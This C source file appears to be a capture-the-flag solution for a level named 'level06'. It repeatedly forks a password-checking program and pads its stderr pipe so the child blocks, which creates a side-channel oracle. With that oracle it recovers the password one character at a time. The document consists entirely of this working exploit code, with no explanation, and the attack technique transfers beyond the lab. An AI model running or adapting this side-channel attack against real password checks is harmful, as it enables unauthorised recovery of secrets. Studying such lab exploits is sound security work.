level06

gistfile1.c

#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <stdio.h>
#include <ctype.h>
#include <sys/wait.h>
#include <stdlib.h>

#define CAPACITY (65536)
#define PROGRAM "./level06"
#define PASSWORD_FILE "password"
#define ERROR "Ha ha, your password is incorrect!\n"
#define FIRST_LINE "Welcome to the password checker!\n"

int test_password(char* correct_so_far, char letter_to_check) {
  
  int stderr_fds[] = {0, 0};
  int stdout_fds[] = {0, 0};
  char buf[CAPACITY] = {'A'};
  char minibuf[1];
  char first_line[strlen(FIRST_LINE)];

  for (int i = 0; i < CAPACITY; ++i) {
    buf[i] = 'A';
  }

  pipe(stderr_fds);
  pipe(stdout_fds);

  int res = write(stderr_fds[1], buf, CAPACITY - 33 - strlen(correct_so_far) - 1);

  
  if (!fork()) {

    char password_to_check[1024];
    strcpy(password_to_check, correct_so_far);
    password_to_check[strlen(correct_so_far)] = letter_to_check;
    password_to_check[strlen(correct_so_far) + 1] = '\1';
    password_to_check[strlen(correct_so_far) + 2] = '\0';

    char* argv[] =  {PROGRAM, PASSWORD_FILE, password_to_check, NULL};

    dup2(stderr_fds[1], 2);
    dup2(stdout_fds[1], 1);
    close(0);
    close(stdout_fds[0]);
    close(stderr_fds[0]);
    execv(PROGRAM, argv);
    exit(-1);
  }

  close(stderr_fds[1]);
  close(stdout_fds[1]);

  fcntl(stdout_fds[0], F_SETFL, O_NONBLOCK);
  int read_res;

  usleep(1000 * 200);
  //sleep(1);

  char stdin_buf[strlen(ERROR)];

  read_res = read(stdout_fds[0], stdin_buf, strlen(ERROR));

  int guess_correct = (read_res == -1);


  read_res = read(stderr_fds[0], buf, CAPACITY);

  printf("waiting for child\n");
  wait(NULL);
  close(stderr_fds[0]);
  close(stdout_fds[0]);

  return guess_correct;
}


int guess_next_char(char* so_far) {
  int next_char = 0;
  for (int c = 1; c < 255; ++c) {
    if (isalnum(c)) {
      int guess = test_password(so_far, c);
      printf("guess for char: %c %d\n", c, guess);
      if (guess) {
        printf("**** NEXT CHARACTER IS %c ****\n", c);
        next_char = c;
        break;
      }
    }
  }
  return next_char;
}

int go() {
  char guess_so_far[1024];
  guess_so_far[0] = '\0';
  int current = 0;

  while (1) {
    int next_char = guess_next_char(guess_so_far);
    if (next_char == 0) {
      break;
    }
    guess_so_far[current] = next_char;
    guess_so_far[current + 1] = '\0';
    ++current;
  }

  printf("guessed password: %s\n", guess_so_far);
}    

int main() {
  go();
}